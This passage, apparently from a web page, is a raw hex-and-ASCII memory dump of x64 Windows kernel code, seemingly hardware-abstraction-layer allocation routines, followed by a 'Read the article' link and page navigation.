..H........3.H.. fffff800`02c0e180 FF 15 AA CE 01 00 E9 F3 00 00 00 C1 E7 0C 41 B8 ..............A. fffff800`02c0e190 01 00 00 00 49 8B CC 8B D7 FF 15 99 CE 01 00 E9 ....I........... fffff800`02c0e1a0 DA 00 00 00 2B EB 33 C9 41 B8 48 61 6C 20 8B D5 ....+.3.A.Hal .. fffff800`02c0e1b0 44 8B FD 48 C1 E2 03 FF 15 33 D4 01 00 4C 8B F0 D..H.....3...L.. fffff800`02c0e1c0 49 3B C5 0F 84 8F 00 00 00 45 8B E5 41 3B ED 76 I;.......E..A;.v fffff800`02c0e1d0 3F 4C 8B E8 BA 00 10 00 00 B9 04 00 00 00 41 B8 ?L............A. fffff800`02c0e1e0 48 61 6C 20 FF 15 06 D4 01 00 49 89 45 00 48 85 Hal ......I.E.H. fffff800`02c0e1f0 C0 74 39 48 8B C8 FF 15 BC CE 01 00 48 C1 E8 20 .t9H........H.. fffff800`02c0e200 85 C0 75 28 41 FF C4 49 83 C5 08 44 3B E5 72 C4 ..u(A..I...D;.r. fffff800`02c0e210 48 8B 8E 98 00 00 00 44 8B C5 BA 01 00 00 00 E8 H......D........ fffff800`02c0e220 58 19 00 00 4C 8B E8 48 85 C0 75 6C 45 33 ED 45 X...L..H..ulE3.E fffff800`02c0e230 3B E5 76 19 49 8B EE 48 8B 4D 00 33 D2 FF 15 ED ;.v.I..H.M.3.... fffff800`02c0e240 CD 01 00 48 83 C5 08 49 83 EC 01 75 EA 33 D2 49 ...H...I...u.3.I fffff800`02c0e250 8B CE FF 15 D8 CD 01 00 41 3B DD 76 21 8B EB 48 ........A;.v!..H fffff800`02c0e260 8B 96 98 00 00 00 48 8B 5F 08 4C 8B C7 48 8B CE ......H._.L..H.. fffff800`02c0e270 E8 2B 15 00 00 48 83 ED 01 48 8B FB 75 E1 33 C0 .+...H...H..u.3. fffff800`02c0e280 48 8B 9C 24 98 00 00 00 48 83 C4 50 41 5F 41 5E H..$....H..PA_A^ fffff800`02c0e290 41 5D 41 5C 5F 5E 5D C3 8D 4D FF 85 C9 74 0C 8B A]A\_^]..M...t.. fffff800`02c0e2a0 D1 48 83 EA 01 48 8B 40 08 75 F6 48 89 78 08 49 [email protected].I fffff800`02c0e2b0 8B FD 85 ED 74 29 49 8B DE 48 8B 0B FF 15 F6 CD ....t)I..H...... fffff800`02c0e2c0 01 00 41 89 45 00 48 8B 03 48 83 C3 08 48 83 C8 ..A.E.H..H...H.. fffff800`02c0e2d0 0F 49 83 EF 01 49 89 45 10 4D 8B 6D 08 75 DA 48 .I...I.E.M.m.u.H fffff800`02c0e2e0 8B 8E 98 00 00 00 48 8D 54 24 38 48 83 C1 78 FF ......H.T$8H..x. fffff800`02c0e2f0 15 83 CD 01 00 4C 8B 9E 98 00 00 00 48 8D 4C 24 .....L......H.L$ fffff800`02c0e300 38 41 01 AB D0 00 00 00 FF 15 3A CD 01 00 33 D2 8A........:...3. fffff800`02c0e310 49 8B CE FF 15 17 CD 01 00 E9 34 FD FF FF 90 90 I.........4..... fffff800`02c0e320 90 90 90 90 45 85 C0 74 43 48 89 5C 24 08 48 89 ....E..tCH.\$.H. fffff800`02c0e330 74 24 10 57 48 83 EC 20 48 8B F1 41 8B F8 48 8B t$.WH.. H..A..H. fffff800`02c0e340 5A 08 4C 8B C2 48 8B 96 98 00 00 00 48 8B CE E8 Z.L..H......H... fffff800`02c0e350 4C 14 00 00 48 83 EF 01 48 8B D3 75 E1 48 8B 5C L...H...H..u.H.\ fffff800`02c0e360 24 30 48 8B 74 24 38 48 83 C4 20 5F C3 90 90 90 $0H.t$8H.. _.... fffff800`02c0e370 90 90 90 90 48 8B C4 48 89 58 08 48 89 68 10 48 ....H..H.X.H.h.H fffff800`02c0e380 89 70 18 48 89 78 20 41 54 41 55 4C 8B D9 4D 8B .p.H.x ATAUL..M. fffff800`02c0e390 E0 48 8B F2 B9 FF 0F 00 00 4D 85 DB 75 08 4C 8B .H.......M..u.L. fffff800`02c0e3a0 D1 40 32 FF EB 12 4D 8B 93 88 00 00 00 41 8A BB .@2...M......A.. fffff800`02c0e3b0 91 00 00 00 49 C1 EA 0C 44 8B 44 24 38 41 8B C1 ....I...D.D$8A.. fffff800`02c0e3c0 4C 2B 4E 20 23 C1 49 C1 E9 0C 41 BD 00 10 00 00 L+N #.I...A..... fffff800`02c0e3d0 41 8B D5 41 8B E9 2B D0 8B CA 4C 39 54 EE 30 76 A..A..+...L9T.0v fffff800`02c0e3e0 04 33 C9 EB 4F 41 3B D0 73 43 4C 8D 4C EE 38 4D .3..OA;.sCL.L.8M fffff800`02c0e3f0 39 11 77 39 49 8B 59 F8 48 8D 43 01 49 3B 01 75 9.w9I.Y.H.C.I;.u fffff800`02c0e400 2C 48 8B C3 49 33 01 48 A9 00 00 F0 FF 75 1E 40 ,H..I3.H.....u.@ fffff800`02c0e410 80 FF 01 74 0C 49 33 19 48 F7 C3 F0 FF FF FF 75 ...t.I3.H......u fffff800`02c0e420 0C 41 03 CD 49 83 C1 08 41 3B C8 72 C2 41 3B C8 .A..I...A;.r.A;. fffff800`02c0e430 41 0F 47 C8 4D 85 DB 0F 84 92 00 00 00 41 80 BB A.G.M........A.. fffff800`02c0e440 28 01 00 00 00 0F 84 84 00 00 00 4C 39 54 EE 30 (..........L9T.0 fffff800`02c0e450 76 7D 8B CA 48 8D 44 EE 38 41 3B D0 73 11 4C 39 v}..H.D.8A;.s.L9 fffff800`02c0e460 10 76 0C 41 03 CD 48 83 C0 08 41 3B C8 72 EF 49 .v.A..H...A;.r.I fffff800`02c0e470 8B 44 24 18 41 3B C8 44 8B 08 4C 8B 50 08 41 0F .D$.A;.D..L.P.A. fffff800`02c0e480 47 C8 41 C1 E9 0C EB 3A 45 8B 02 41 8D 41 01 41 G.A....:E..A.A.A fffff800`02c0e490 C1 E8 0C 44 3B C0 75 2E 41 8B C0 41 33 C1 A9 00 ...D;.u.A..A3... fffff800`02c0e4a0 00 F0 FF 75 21 40 80 FF 01 74 0D 41 8B C0 41 33 [email protected] fffff800`02c0e4b0 C1 A9 F0 FF FF FF 75 0E 4D 8B 52 08 45 8B C8 41 ......u.M.R.E..A fffff800`02c0e4c0 03 D5 3B D1 72 C2 3B D1 0F 47 D1 8B C2 EB 02 8B ..;.r.;..G...... fffff800`02c0e4d0 C1 48 8B 5C 24 18 48 8B 6C 24 20 48 8B 74 24 28 .H.\$.H.l$ H.t$( fffff800`02c0e4e0 48 8B 7C 24 30 41 5D 41 5C C3 90 90 90 90 90 90 H.|$0A]A\....... fffff800`02c0e4f0 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 H.\$.H.l$.H.t$.W fffff800`02c0e500 41 54 41 55 48 83 EC 30 48 8B 5C 24 70 4D 8B E1 ATAUH..0H.\$pM.. fffff800`02c0e510 49 8B F0 8B 03 4C 8B EA 48 8B E9 89 44 24 20 E8 I....L..H...D$ . fffff800`02c0e520 50 FE FF FF 49 8B CC 89 03 49 2B 4D 20 8B F8 48 P...I....I+M ..H fffff800`02c0e530 C1 E9 0C 8B C9 49 8B 54 CD 30 49 8B CC 48 C1 E2 .....I.T.0I..H.. fffff800`02c0e540 0C 81 E1 FF 0F 00 00 48 03 D1 48 85 F6 74 72 48 .......H..H..trH fffff800`02c0e550 39 95 88 00 00 00 73 69 4C 8B 4E 18 48 8B 84 24 9.....siL.N.H..$ fffff800`02c0e560 80 00 00 00 41 8B DC 41 8B 09 81 E3 FF 0F 00 00 ....A..A........ fffff800`02c0e570 03 CB 80 7C 24 78 01 48 89 08 75 17 4D 8B C4 49 ...|$x.H..u.M..I fffff800`02c0e580 8B D5 48 8B CD C6 44 24 28 01 89 7C 24 20 E8 C5 ..H...D$(..|$ .. fffff800`02c0e590 06 00 00 8B C7 C1 EF 0C 25 FF 0F 00 00 8D 8C 18 ........%....... fffff800`02c0e5a0 FF 0F 00 00 48 8B 46 18 C1 E9 0C 03 CF 74 0C 8B ....H.F......t.. fffff800`02c0e5b0 D1 48 83 EA 01 48 8B 40 08 75 F6 48 89 46 18 EB [email protected].. fffff800`02c0e5c0 0B 48 8B 84 24 80 00 00 00 48 89 10 48 8B 5C 24 .H..$....H..H.\$ fffff800`02c0e5d0 50 48 8B 6C 24 58 48 8B 74 24 60 48 83 C4 30 41 PH.l$XH.t$`H..0A fffff800`02c0e5e0 5D 41 5C 5F C3 90 90 90 90 90 90 90 4D 85 C0 0F ]A\_........M... fffff800`02c0e5f0 84 09 01 00 00 48 8B C4 48 89 58 08 48 89 68 10 .....H..H.X.H.h. fffff800`02c0e600 48 89 70 18 48 89 78 20 41 54 41 55 41 56 48 83 H.p.H.x ATAUAVH. fffff800`02c0e610 EC 30 44 8A 64 24 78 49 8B D8 49 8B F1 4C 8B EA .0D.d$xI..I..L.. fffff800`02c0e620 4C 8B F1 49 89 58 18 41 80 FC 01 0F 84 AF 00 00 L..I.X.A........ fffff800`02c0e630 00 8B 7C 24 70 85 FF 0F 84 9F 00 00 00 4C 8B CE ..|$p........L.. fffff800`02c0e640 4C 8B C3 49 8B D5 49 8B CE 89 7C 24 20 E8 22 FD L..I..I...|$ .". fffff800`02c0e650 FF FF 48 8B CE 49 2B 4D 20 8B E8 48 C1 E9 0C 8B ..H..I+M ..H.... fffff800`02c0e660 C9 49 8B 54 CD 30 48 8B CE 48 C1 E2 0C 81 E1 FF .I.T.0H..H...... fffff800`02c0e670 0F 00 00 48 03 D1 49 39 96 88 00 00 00 73 52 4C ...H..I9.....sRL fffff800`02c0e680 8B 4B 18 4C 8B C6 49 8B D5 49 8B CE 44 88 64 24 .K.L..I..I..D.d$ fffff800`02c0e690 28 89 6C 24 20 E8 BE 05 00 00 8B C5 44 8B DE 25 (.l$ .......D..% fffff800`02c0e6a0 FF 0F 00 00 41 81 E3 FF 0F 00 00 41 8D 8C 03 FF ....A......A.... fffff800`02c0e6b0 0F 00 00 8B C5 C1 E8 0C C1 E9 0C 03 C8 48 8B 43 .............H.C fffff800`02c0e6c0 18 74 0A 48 83 E9 01 48 8B 40 08 75 F6 48 89 43 [email protected] fffff800`02c0e6d0 18 48 03 F5 2B FD 0F 85 61 FF FF FF 48 89 5B 18 .H..+...a...H.[. fffff800`02c0e6e0 48 8B 5C 24 50 48 8B 6C 24 58 48 8B 74 24 60 48 H.\$PH.l$XH.t$`H fffff800`02c0e6f0 8B 7C 24 68 48 83 C4 30 41 5E 41 5D 41 5C C3 90 .|$hH..0A^A]A\.. fffff800`02c0e700 90 90 90 90 90 90 90 90 48 89 54 24 10 53 55 56 ........H.T$.SUV fffff800`02c0e710 57 41 54 41 55 41 56 41 57 48 83 EC 58 48 8B F2 WATAUAVAWH..XH.. fffff800`02c0e720 48 8B D9 48 8D 54 24 30 48 8D 0D B9 67 02 00 45 H..H.T$0H...g..E fffff800`02c0e730 8B E1 49 8B F8 4C 89 84 24 B0 00 00 00 FF 15 35 ..I..L..$......5 fffff800`02c0e740 C9 01 00 4C 8B 2D 86 67 02 00 4C 8B 35 77 67 02 ...L.-.g..L.5wg. fffff800`02c0e750 00 48 8B C6 44 8B C6 48 2B 43 20 41 81 E0 FF 0F .H..D..H+C A.... fffff800`02c0e760 00 00 BD 00 10 00 00 48 C1 E8 0C 45 89 45 2C 8B .......H...E.E,. fffff800`02c0e770 CD 8B C0 41 2B C8 41 89 4D 28 4C 8D 4C C3 30 48 ...A+.A.M(L.L.0H fffff800`02c0e780 8B C6 48 25 00 F0 FF FF 49 89 45 20 49 89 46 20 ..H%....I.E I.F fffff800`02c0e790 45 89 46 2C 41 89 4E 28 44 89 84 24 B8 00 00 00 E.F,A.N(D..$.... fffff800`02c0e7a0 4C 89 8C 24 A0 00 00 00 45 85 E4 0F 84 90 01 00 L..$....E....... fffff800`02c0e7b0 00 48 8B 5F 10 48 81 E3 00 F0 FF FF 75 3C 8B 07 .H._.H......u<.. fffff800`02c0e7c0 48 8B 0D 49 67 02 00 44 8D 4B 01 48 C1 E8 0C 4D H..Ig..D.K.H...M fffff800`02c0e7d0 8B C6 BA 48 61 6C 20 49 89 46 30 FF 15 DF C8 01 ...Hal I.F0..... fffff800`02c0e7e0 00 48 8B D8 48 85 C0 0F 84 36 01 00 00 4C 8B 8C .H..H....6...L.. fffff800`02c0e7f0 24 A0 00 00 00 41 B7 01 EB 09 41 8B C0 48 03 D8 $....A....A..H.. fffff800`02c0e800 45 32 FF 49 8B 01 33 FF 49 89 45 30 48 8B 0D C5 E2.I..3.I.E0H... fffff800`02c0e810 66 02 00 44 8B CF 4D 8B C5 BA 48 61 6C 20 FF 15 f..D..M...Hal .. fffff800`02c0e820 9C C8 01 00 48 8B F0 48 85 C0 75 24 FF C7 83 FF ....H..H..u$.... fffff800`02c0e830 06 7C D9 48 21 44 24 20 45 33 C9 41 B8 01 EF 00 .|.H!D$ E3.A.... fffff800`02c0e840 00 48 8B D5 B9 AC 00 00 00 FF 15 A1 CA 01 00 CC .H.............. fffff800`02c0e850 8B FD 2B BC 24 B8 00 00 00 44 3B E7 41 0F 42 FC ..+.$....D;.A.B. fffff800`02c0e860 80 BC 24 C0 00 00 00 01 8B EF 44 8B C7 75 0E 48 ..$.......D..u.H fffff800`02c0e870 8B D0 48 8B CB FF 15 AD 33 02 00 EB 0B 48 8B D3 ..H.....3....H.. fffff800`02c0e880 48 8B C8 E8 C8 A6 01 00 4D 8B C5 BA 48 61 6C 20 H.......M...Hal fffff800`02c0e890 48 8B CE FF 15 47 C8 01 00 41 80 FF 01 75 11 4D H....G...A...u.M fffff800`02c0e8a0 8B C6 BA 48 61 6C 20 48 8B CB FF 15 30 C8 01 00 ...Hal H....0... fffff800`02c0e8b0 48 8B 84 24 A8 00 00 00 4C 8B 8C 24 A0 00 00 00 H..$....L..$.... fffff800`02c0e8c0 44 2B E7 48 8B BC 24 B0 00 00 00 48 03 C5 BD 00 D+.H..$....H.... fffff800`02c0e8d0 10 00 00 48 8B 7F 08 49 83 C1 08 45 33 C0 44 3B ...H..I...E3.D; fffff800`02c0e8e0 E5 48 8B C8 41 8B D4 0F 47 D5 48 81 E1 00 F0 FF .H..A...G.H..... fffff800`02c0e8f0 FF 48 89 84 24 A8 00 00 00 49 89 4D 20 41 89 55 .H..$....I.M A.U fffff800`02c0e900 28 25 FF 0F 00 00 41 89 45 2C 49 89 4E 20 41 89 (%....A.E,I.N A. fffff800`02c0e910 46 2C 41 89 56 28 48 89 BC 24 B0 00 00 00 E9 75 F,A.V(H..$.....u fffff800`02c0e920 FE FF FF 48 83 64 24 20 00 45 33 C9 41 B8 00 EF ...H.d$ .E3.A... fffff800`02c0e930 00 00 48 8B D5 B9 AC 00 00 00 FF 15 B0 C9 01 00 ..H............. fffff800`02c0e940 CC 48 8D 4C 24 30 FF 15 FC C6 01 00 48 83 C4 58 .H.L$0......H..X fffff800`02c0e950 41 5F 41 5E 41 5D 41 5C 5F 5E 5D 5B C3 90 90 90 A_A^A]A\_^][.... fffff800`02c0e960 90 90 90 90 48 89 5C 24 08 48 89 6C 24 10 48 89 ....H.\$.H.l$.H. fffff800`02c0e970 74 24 18 57 41 54 41 55 48 83 EC 50 33 C0 49 8B t$.WATAUH..P3.I. fffff800`02c0e980 F9 41 8B F0 4C 8B E2 48 8B CA 49 C7 C3 00 F0 FF .A..L..H..I..... fffff800`02c0e990 FF 45 85 C0 74 10 4C 85 59 10 74 0A 48 8B 49 08 .E..t.L.Y.t.H.I. fffff800`02c0e9a0 FF C0 3B C6 72 F0 3B C6 75 09 49 83 21 00 E9 FB ..;.r.;.u.I.!... fffff800`02c0e9b0 00 00 00 65 48 8B 04 25 20 00 00 00 33 C9 44 8B ...eH..% ...3.D. fffff800`02c0e9c0 50 24 48 8B 05 F7 64 02 00 4A 8B 2C D0 4C 8D 4D P$H...d..J.,.L.M fffff800`02c0e9d0 30 45 85 C0 74 22 4C 8B C6 4C 85 5A 10 75 0F 8B 0E..t"L..L.Z.u.. fffff800`02c0e9e0 02 FF C1 48 C1 E8 0C 49 89 01 49 83 C1 08 49 83 ...H...I..I...I. fffff800`02c0e9f0 E8 01 48 8B 52 08 75 E1 33 DB C1 E1 0C 41 B5 01 ..H.R.u.3....A.. fffff800`02c0ea00 48 21 5D 20 21 5D 2C 89 4D 28 44 38 2D 07 65 02 H!] !],.M(D8-.e. fffff800`02c0ea10 00 75 10 48 8B 05 C6 64 02 00 4A 8B 1C D0 E9 29 .u.H...d..J....) fffff800`02c0ea20 01 00 00 48 8D 0D D6 64 02 00 FF 15 50 C6 01 00 ...H...d....P... fffff800`02c0ea30 48 85 C0 0F 85 F9 00 00 00 44 8D 40 01 45 33 C9 [email protected]. fffff800`02c0ea40 33 D2 48 8B CD C7 44 24 28 20 00 00 00 21 5C 24 3.H...D$( ...!\$ fffff800`02c0ea50 20 FF 15 71 C6 01 00 4C 8B D8 48 85 C0 74 69 45 ..q...L..H..tiE fffff800`02c0ea60 32 ED 49 8B D3 85 F6 74 36 48 8B CE 49 F7 44 24 2.I....t6H..I.D$ fffff800`02c0ea70 10 00 F0 FF FF 75 1D 41 8B 44 24 10 25 EF 0F 00 .....u.A.D$.%... fffff800`02c0ea80 00 48 0B C2 48 83 C8 10 48 81 C2 00 10 00 00 49 .H..H...H......I fffff800`02c0ea90 89 44 24 10 48 83 E9 01 4D 8B 64 24 08 75 CD 48 .D$.H...M.d$.u.H fffff800`02c0eaa0 89 2F 4C 89 5F 08 48 89 5F 10 44 88 6F 30 4C 8D ./L._.H._.D.o0L. fffff800`02c0eab0 5C 24 50 49 8B 5B 20 49 8B 6B 28 49 8B 73 30 49 \$PI.[ I.k(I.s0I fffff800`02c0eac0 8B E3 41 5D 41 5C 5F C3 48 8D 54 24 30 48 8D 0D ..A]A\_.H.T$0H.. fffff800`02c0ead0 4C 64 02 00 FF 15 66 C5 01 00 48 8B 15 FF 63 02 Ld....f...H...c. fffff800`02c0eae0 00 44 8B 0D 10 64 02 00 48 8B 02 B9 01 00 00 00 .D...d..H....... fffff800`02c0eaf0 44 8B 40 18 44 3B C9 76 1E 48 83 C2 08 48 8B 02 [email protected];.v.H...H.. fffff800`02c0eb00 44 39 40 18 7D 06 44 8B 40 18 8B D9 FF C1 48 83 D9@.}[email protected]. fffff800`02c0eb10 C2 08 41 3B C9 72 E6 48 8D 4C 24 30 FF 15 0E C6 ..A;.r.H.L$0.... fffff800`02c0eb20 01 00 48 8B 05 B7 63 02 00 44 8B DB 4A 8B 1C D8 ..H...c..D..J... fffff800`02c0eb30 EB 07 83 60 1C 00 48 8B D8 F0 83 43 18 01 48 8D ...`..H....C..H. fffff800`02c0eb40 57 18 48 8D 4B 20 FF 15 F4 C4 01 00 48 8B 4B 10 W.H.K ......H.K. fffff800`02c0eb50 41 B9 01 00 00 00 4C 8B C5 BA 48 61 6C 20 FF 15 A.....L...Hal .. fffff800`02c0eb60 5C C5 01 00 4C 8B D8 48 85 C0 0F 85 F2 FE FF FF \...L..H........ fffff800`02c0eb70 48 21 44 24 20 45 33 C9 BA 00 10 00 00 B9 AC 00 H!D$ E3......... fffff800`02c0eb80 00 00 41 B8 02 EF 00 00 FF 15 62 C7 01 00 CC 90 ..A.......b..... fffff800`02c0eb90 90 90 90 90 90 90 90 90 48 89 5C 24 08 48 89 6C ........H.\$.H.l fffff800`02c0eba0 24 18 48 89 74 24 20 57 48 83 EC 20 41 80 78 30 $.H.t$ WH.. A.x0 fffff800`02c0ebb0 00 49 8B F8 8B F2 48 8B D9 BD 01 00 00 00 75 0F .I....H.......u. fffff800`02c0ebc0 49 8B 10 49 8B 48 08 FF 15 53 C4 01 00 EB 4A 4D I..I.H...S....JM fffff800`02c0ebd0 8B 00 48 8B 4F 08 BA 48 61 6C 20 FF 15 FF C4 01 ..H.O..Hal ..... fffff800`02c0ebe0 00 80 3D 30 63 02 00 00 75 2F 48 8D 4F 18 FF 15 ..=0c...u/H.O... fffff800`02c0ebf0 3C C5 01 00 48 8B 57 10 83 C8 FF F0 0F C1 42 18 <...H.W.......B. fffff800`02c0ec00 83 C0 FF 75 14 F0 0F B1 6A 1C 75 0D 48 8D 0D ED ...u....j.u.H... fffff800`02c0ec10 62 02 00 FF 15 4F C4 01 00 85 F6 74 1E 48 8B CE b....O.....t.H.. fffff800`02c0ec20 F6 43 10 10 74 0C 8B 43 10 25 EF 0F 00 00 48 89 .C..t..C.%....H. fffff800`02c0ec30 43 10 48 2B CD 48 8B 5B 08 75 E5 48 8B 5C 24 30 C.H+.H.[.u.H.\$0 fffff800`02c0ec40 48 8B 6C 24 40 48 8B 74 24 48 48 83 C4 20 5F C3 [email protected]$HH.. _. fffff800`02c0ec50 90 90 90 90 90 90 90 90 48 89 5C 24 18 48 89 4C ........H.\$.H.L fffff800`02c0ec60 24 08 55 56 57 41 54 41 55 41 56 41 57 48 83 EC $.UVWATAUAVAWH.. fffff800`02c0ec70 70 4D 8B F1 4D 8B E8 48 8B F2 4C 8B D1 44 0F 20 pM..M..H..L..D. fffff800`02c0ec80 C7 F6 42 0A 05 74 06 48 8B 5A 18 EB 2A 45 33 C9 ..B..t.H.Z..*E3. fffff800`02c0ec90 33 D2 48 8B CE 45 8D 41 01 C7 44 24 28 20 00 00 3.H..E.A..D$( .. fffff800`02c0eca0 00 83 64 24 20 00 FF 15 1C C4 01 00 4C 8B 94 24 ..d$ .......L..$ fffff800`02c0ecb0 B0 00 00 00 48 8B D8 BD 02 00 00 00 48 85 DB 75 ....H.......H..u fffff800`02c0ecc0 4A 40 3A FD 76 1F 48 21 5C 24 20 45 33 C9 BA 00 J@:.v.H!\$ E3... fffff800`02c0ecd0 10 00 00 B9 AC 00 00 00 41 B8 05 EF 00 00 FF 15 ........A....... fffff800`02c0ece0 0C C6 01 00 CC 8A 84 24 D8 00 00 00 44 8B 8C 24 .......$....D..$ fffff800`02c0ecf0 D0 00 00 00 4D 8B C6 49 8B D5 48 8B CE 88 44 24 ....M..I..H...D$ fffff800`02c0ed00 20 E8 02 FA FF FF E9 4D 01 00 00 44 8B BC 24 D0 ......M...D..$. fffff800`02c0ed10 00 00 00 BA FF 0F 00 00 41 8B CD 23 CA 41 8B C7 ........A..#.A.. fffff800`02c0ed20 C6 84 24 B8 00 00 00 00 23 C2 44 8D A4 01 FF 0F ..$.....#.D..... fffff800`02c0ed30 00 00 41 8B C7 41 C1 EC 0C C1 E8 0C 44 03 E0 44 ..A..A......D..D fffff800`02c0ed40 89 64 24 30 40 3A FD 76 41 33 C9 49 8B C6 45 85 .d$0@:.vA3.I..E. fffff800`02c0ed50 E4 74 64 48 F7 40 10 00 F0 FF FF 74 0D 48 8B 40 [email protected].@ fffff800`02c0ed60 08 FF C1 41 3B CC 72 EB EB 4D 48 83 64 24 20 00 ...A;.r..MH.d$ .

    Read the article

< Previous Page | 1 2